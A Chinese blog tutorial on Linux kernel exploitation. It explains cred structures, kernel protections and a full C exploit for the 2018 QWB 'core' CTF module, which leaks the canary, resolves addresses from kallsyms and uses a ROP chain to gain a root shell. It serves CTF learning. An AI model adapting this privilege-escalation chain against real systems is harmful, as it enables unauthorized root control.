这名字我熟
Kernel
实际上还是一段应用程序 主要是用来提供对用户态软件的一系列服务 比如IO
之类的 将这些外部软件的要求转移成为指令 交给CPU
或者其他硬件处理 其实这些就是计算机操作系统
中对操作系统功能的描述而已
这里借用一下CTFWiki
中对内核在计算机体系中的架构图可以更清楚的展现Kernel
的地位
Intel x86系列的CPU使用Ring
的概念来实现访问控制 在理论上总共有四个等级 从高到低分别为Ring0
->Ring1
->Ring2
->Ring3
但其实在现在的Windows和Linux系统中仅仅使用到了Ring0
和Ring3
两个等级 其中Ring0
就是对应着我们在计算机操作系统中学到的内核态 而相反的Ring3
则理所当然的对应用户态 一般来说操作系统内核程序和驱动程序都是在Ring0
等级上运行 而用户程序都是在Ring3
上运行
这个打Pwn的应该都很熟悉了 就是系统调用嘛 在操作系统层面就是内核对用户态某些需要的服务提供的内核态接口 例如write和read
这里的状态转换主要说的是用户态跟内核态的相互转化 当发生系统调用
发生异常
外部中断
的时候 会自动从用户态切换到内核态 这里具体的切换过程是
swapgs
切换GS段存储器这里的GS段存储器其实官方名称叫附加段寄存器 其地位和FS寄存器类似 这个FS寄存器就是存放
Canary
的地方 但是FS寄存器是在用户态下使用的附加段寄存器 而GS段寄存器是在内核态下使用的附加段寄存器在内存中有一个特定的位置(其实叫做
GS.BASE
但是并没有什么用) 当执行到swapgs
时 将该地址的值置换到GS寄存器中 同时将GS寄存器的值存放到该位置中 其目的是保存GS值
将用户栈指针保存到CPU独占变量区域中 然后将CPU独占区域中内核态的栈指针放入到rsp rbp中
主要是保存各个寄存器的值
X32_abi是一种新的二进制调用规范 感觉想法很天才
具体来说在64位处理器上 所有指针都应该是64位的 但是有些程序只需要小于4G的内存 按理来说32位的指针就能满足要求了 虽然从内存角度来说 这些浪费不足为提 但是从Cache层面来说 这些浪费就有些可耻了 所以x32_abi就提出了一种新的二进制调用规范 将所有的64位指针改成32位
当然 这些知识在Pwn领域没啥大用
swapgs
恢复GS寄存器的值sysretq
或者iretq
恢复到用户态继续执行 如果使用iretq
还需要给出用户空间的一些信息(CS eflags/rflags esp/rsp 等)内核使用cred结构体
来管理进程相关的权限问题 例如uid
gid
等 结构体定义与include/linux/cred.h
中
cstruct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu; /* Can we skip RCU deletion? */
struct rcu_head rcu; /* RCU deletion hook */
};
} __randomize_layout;
内核中使用结构体task_struct
来描述一个进程(其实就是操作系统中的PCB) 该结构体定义域include/linux/sched.h
中
内部主要定义了包括进程标识[pid]
进程状态[就绪 阻塞 执行]
进程优先级
进程调度信息
时间信息
地址信息
页面管理信息
信号量
等多种与进程息息相关的数据结构 (操作系统中提到的基本都有)
cstruct task_struct {
#ifdef CONFIG_THREAD_INFO_IN_TASK
/*
* For reasons of header soup (see current_thread_info()), this
* must be the first element of task_struct.
*/
struct thread_info thread_info;
....
/* Process credentials: */
/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;
/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
...
}
这里盗一张网上师傅们的一图流task_struct结构体
解析
这些都不是最关键的 最关键的是在task_struct结构体
中包含cred结构体指针
那么其实联系起来一个很直接的念头就是只要能修改一个进程的cred结构体就能修改进程的执行权限
关于cred结构体
在内核中存在两个及其重要的函数 prepare_kernel_cred()
和commit_creds()
这两个函数定义在kernel/cred.c
中
c /**
* prepare_kernel_cred - Prepare a set of credentials for a kernel service
* @daemon: A userspace daemon to be used as a reference
*
* Prepare a set of credentials for a kernel service. This can then be used to
* override a task's own credentials so that work can be done on behalf of that
* task that requires a different subjective context.
*
* @daemon is used to provide a base for the security record, but can be NULL.
* If @daemon is supplied, then the security data will be derived from that;
* otherwise they'll be set to 0 and no groups, full capabilities and no keys.
*
* The caller may change these controls afterwards if desired.
*
* Returns the new credentials or NULL if out of memory.
*/
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
const struct cred *old;
struct cred *new;
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;
kdebug("prepare_kernel_cred() alloc %p", new);
if (daemon)
old = get_task_cred(daemon);
else
old = get_cred(&init_cred);
validate_creds(old);
*new = *old;
new->non_rcu = 0;
atomic_set(&new->usage, 1);
set_cred_subscribers(new, 0);
get_uid(new->user);
get_user_ns(new->user_ns);
get_group_info(new->group_info);
#ifdef CONFIG_KEYS
new->session_keyring = NULL;
new->process_keyring = NULL;
new->thread_keyring = NULL;
new->request_key_auth = NULL;
new->jit_keyring = KEY_REQKEY_DEFL_THREAD_KEYRING;
#endif
#ifdef CONFIG_SECURITY
new->security = NULL;
#endif
if (security_prepare_creds(new, old, GFP_KERNEL_ACCOUNT) < 0)
goto error;
put_cred(old);
validate_creds(new);
return new;
error:
put_cred(new);
put_cred(old);
return NULL;
}
EXPORT_SYMBOL(prepare_kernel_cred);
其实简单来说就是prepare_kernel_cred()
会有两种情况 如果调用时传入一个有效的task_struct结构体
地址 那么会根据这个task_struct
的read_cred
作为模板来复制一个新的cred
如果传入NULL
的话会返回一个root权限的cred
commit_creds(struct cred *new)
的话 很简单 看名字也就知道 就是将cred提交 以应用到进程中
可以简单理解为保存着内核中所有的函数名称及其地址 类似于GOT表的感觉 只不过是个文本文件
和用户态的ASLR类似 地址随机化
KASLR的升级版 KASLR还有绕过的可能 毕竟只要泄漏基地址就可以获得所有指令地址 而FGKALSR是根据函数粒度重新排布内核代码
类似Canary 内核中的Canary的值一般是取GS寄存器某固定偏移的值
SMAP(Supervise Mode Access Prevention) SMEP(Supervise Mode Execution Prevention)这两种保护一般同时开启 防止内核空间直接访问和执行用户空间的数据 将内核和用户分隔开 防止内核直接跳转到用户空间的提权代码上
通常出现在虚拟机的init脚本中
echo 1 > /proc/sys/kernel/kptr_restrict
限制/proc/kallsyms
显示symbols地址
同样常见于虚拟机的init脚本中
echo 1 > /proc/sys/kernel/dmesg_restrict
显示非root用户不能读取dmesg
信息
Kernel Pwn和用户态的Pwn不一样 用户态的Pwn其主要目的主要是获得shell来获得目标靶机的基础控制权 而Kernel Pwn主要目的是在shell的基础上进行提权
拿到root权限
以获得最高控制权 当然Kernel Pwn也可以让内核崩溃 造成服务宕机 但是一般不会这样做
而根据上面的基础知识 提权的路径也就很明确了 我们可以在内核态内调用commit_creds(prepare_kernel_cred(NULL))
以达到提权的目的
这里选用资源最多的Kernel Pwn题2018年强网杯core
如果下载的题目比较干净的话应该是 解压后 存在bzImage
start.sh
core文件夹
三个文件 我们一个个来看
首先bzImage
不用解释了 压缩过后的内核
start.sh
是qemu虚拟机的启动脚本 我们打开看一下
shqemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-gdb tcp::1234 -S \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
可以看到 是启用了kaslr
保护的 也就是说我们需要泄漏地址
core文件夹
内主要就是文件系统了 其中gen_cpio.sh
可以帮助我们快速构建文件系统 在文件夹中最重要的是init脚本
虽然他长着一副二进制文件的脸 但其实只是一个sh脚本
sh#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
可以注意到其中有几句是非常关键的
cat /proc/kallsyms > /tmp/kallsyms
我们看到在init脚本
中是启用了kptr_restrict
的 所以我们拿不到函数地址 但是init
将其输出到/tmp
文件夹中 那么这个限制也就没啥用了
insmod /core.ko
加载了core.ko
内核模块 那么我们主要就是要看看这个模块都写了哪些功能 一般漏洞都在模块中
顺带着看看core.ko
的保护情况吧
那么我们着重来看一看这个core.ko
里面都写了什么功能 直接拖进IDA即可
可以看到函数表非常干净 主要我们要看的就是init_module
和core_ioctl
了 毕竟这两个函数关系到模块初始化和交互
如果想的话 也可以看看模块的fops结构体(file_operations)
但是感觉没有什么必要 毕竟函数就这么多 从函数名也能看出来是自定义了write
和release
其中init_module
没有说什么 只是新建了一个进程叫做core
而ioctl
实现了不少功能
首先是控制代码0x6677889B
函数core_read()
实现了从v5+off
处读取64字节的数据 然后传送给用户
其次是控制代码0x6677889C
将全局变量off设置成为v3
而这个v3
是core_ioctl
传入的参数 是我们可控的
最后是控制代码0x6677889A
函数core_copy_func
实现了从name复制a1数量的字节到v2
再来看看自定义的core_write
实现了将小于0x800数量的字节写入到name之中
那么思路到现在就已经很明显了 因为模块有Canary保护
所以我们需要泄漏Canary
那么我们可以先设置off的值
使v5+off
指向Canary的位置上 然后通过core_read()
将Canary的值读出
然后利用自定义的core_write()
向name
中写入ROP链 然后通过core_copy_func()
将name
复制到栈中造成栈溢出 最后实现提权操作
那么此时还有一个问题 就是内核存在地址随机化
我们要获得基地址才能利用上gadget
但是别忘了我们是有kallsyms
的...直接读取函数地址 减去偏移就好了
那么问题我们一个个解决 首先是几个功能的交互
cvoid core_read(int fd,char *addr)
{
puts("core_read...\n");
ioctl(fd,0x6677889B,addr);
puts("success...\n");
}
void set_off(int fd,long long off)
{
puts("set off...\n");
ioctl(fd,0x6677889C,off);
puts("success...\n");
}
void core_copy_func(int fd,long long nbytes)
{
puts("core_copy_func...\n");
ioctl(fd,0x6677889A,nbytes);
puts("success...\n");
}
并且模块是在内核态 而我们最后是需要返回到用户态开shell
的 所以关于内核态向用户态的切换 我们也需要自己保存现场 到时候恢复
cvoid saveStatus()
{
__asm__("mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("Status has been saved...\n");
}
void spawn_shell()
{
system("/bin/sh");
exit(0);
}
然后就是最为重要的读取kallsyms来获取基地址绕过地址随机化
了 因为每次虚拟机启动地址都会变动 所以我们没有办法手动输入地址(虚拟机内部没有gcc 所有的exp需要在外部编译好打包的文件系统中) 只能通过c来自动获取地址并且减去偏移以获得基地址 同时我们也需要在kallsyms中获取到我们两个重要函数prepare_kernel_cred()和commit_creds()
的地址
cvoid get_function_addr()
{
FILE* sym_table=fopen("/tmp/kallsyms","r");
if(sym_table==NULL)
{
puts("cannot open /tmp/kallsyms");
exit("-1");
}
size_t addr=0;
char type[0x10];
char function_name[0x50];
while(fscanf(sym_table,"%llx%s%s",&addr,type,function_name))
{
if(commit_creds&&prepare_kernel_cred)
{
puts("addr of prepare_kernel_cred and commit_creds has found");
return;
}
if(!strcmp(function_name,"commit_creds"))
{
commit_creds=addr;
printf("commit_creds: %p-%p\n",addr,commit_creds);
}
else if(!strcmp(function_name,"prepare_kernel_cred"))
{
prepare_kernel_cred=addr;
printf("prepare_kernel_cred: %p-%p\n",addr,prepare_kernel_cred);
}
}
}
那么接下来就是获取相关的gadget
了 这里有两种方法 一种是直接objdump
将vmlinux
中所有的汇编指令都dump下来然后自己慢慢找 或者是使用ropper
来找 反正尽量不要用ROPgadget
来找 我是直接爆内存
c size_t pop_rdi=0xffffffff81000b2f;
size_t mov_rdi_rax_pop_rbp_pop_r12_ret=0xffffffff813f9ede;
size_t swapgs_popfq_ret=0xffffffff81a012da;
size_t iretq_ret=0xffffffff81050ac2;
最后组合exp即可
c#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/ioctl.h>
// gcc exp.c -o exp -static -masm=intel -g
size_t commit_creds;
size_t prepare_kernel_cred;
size_t user_cs,user_ss,user_rflags,user_sp;
void saveStatus()
{
__asm__("mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("Status has been saved...\n");
}
void core_read(int fd,char *addr)
{
puts("core_read...\n");
ioctl(fd,0x6677889B,addr);
puts("success...\n");
}
void set_off(int fd,long long off)
{
puts("set off...\n");
ioctl(fd,0x6677889C,off);
puts("success...\n");
}
void core_copy_func(int fd,long long nbytes)
{
puts("core_copy_func...\n");
ioctl(fd,0x6677889A,nbytes);
puts("success...\n");
}
void spawn_shell()
{
system("/bin/sh");
exit(0);
}
void get_function_addr()
{
FILE* sym_table=fopen("/tmp/kallsyms","r");
if(sym_table==NULL)
{
puts("cannot open /tmp/kallsyms");
exit("-1");
}
size_t addr=0;
char type[0x10];
char function_name[0x50];
while(fscanf(sym_table,"%llx%s%s",&addr,type,function_name))
{
if(commit_creds&&prepare_kernel_cred)
{
puts("addr of prepare_kernel_cred and commit_creds has found");
return;
}
if(!strcmp(function_name,"commit_creds"))
{
commit_creds=addr;
printf("commit_creds: %p-%p\n",addr,commit_creds);
}
else if(!strcmp(function_name,"prepare_kernel_cred"))
{
prepare_kernel_cred=addr;
printf("prepare_kernel_cred: %p-%p\n",addr,prepare_kernel_cred);
}
}
}
int main()
{
size_t pop_rdi=0xffffffff81000b2f;
size_t mov_rdi_rax_pop_rbp_pop_r12_ret=0xffffffff813f9ede;
size_t swapgs_popfq_ret=0xffffffff81a012da;
size_t iretq_ret=0xffffffff81050ac2;
saveStatus();
int fd=open("/proc/core",2);
if(!fd)
{
puts("error...\n");
return -1;
}
char buffer[100]={0};
size_t canary;
set_off(fd,0x40);
core_read(fd,buffer);
canary=((size_t *)buffer)[0];
printf("canary: %p\n",canary);
get_function_addr();
size_t vm_base=commit_creds-0x9c8e0;
ssize_t gadget_base=vm_base-0xffffffff81000000;
size_t rop[0x1000]={0};
printf("vm_base: %p\n",vm_base);
printf("spawn_shell: %p\n",spawn_shell);
int i;
for(i=0;i<10;i++)
{
rop[i]=canary;
}
rop[i++]=pop_rdi+gadget_base;
rop[i++]=0;
rop[i++]=prepare_kernel_cred;
rop[i++]=mov_rdi_rax_pop_rbp_pop_r12_ret+gadget_base;
rop[i++]=0;
rop[i++]=0;
rop[i++]=commit_creds;
rop[i++]=swapgs_popfq_ret+gadget_base;
rop[i++]=0;
rop[i++]=iretq_ret+gadget_base;
rop[i++]=(size_t)spawn_shell;
rop[i++]=user_cs;
rop[i++]=user_rflags;
rop[i++]=user_sp;
rop[i++]=user_ss;
write(fd,rop,0x800);
core_copy_func(fd,0xffffffffffff0000 | (0x100));
}
最后就是通过gcc exp.c -o exp -static -masm=intel -g
编译exp 然后使用gen_core.sh
来打包文件系统 再使用start.sh
启动虚拟机了
至此 提权成功
本文作者:Du4t
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!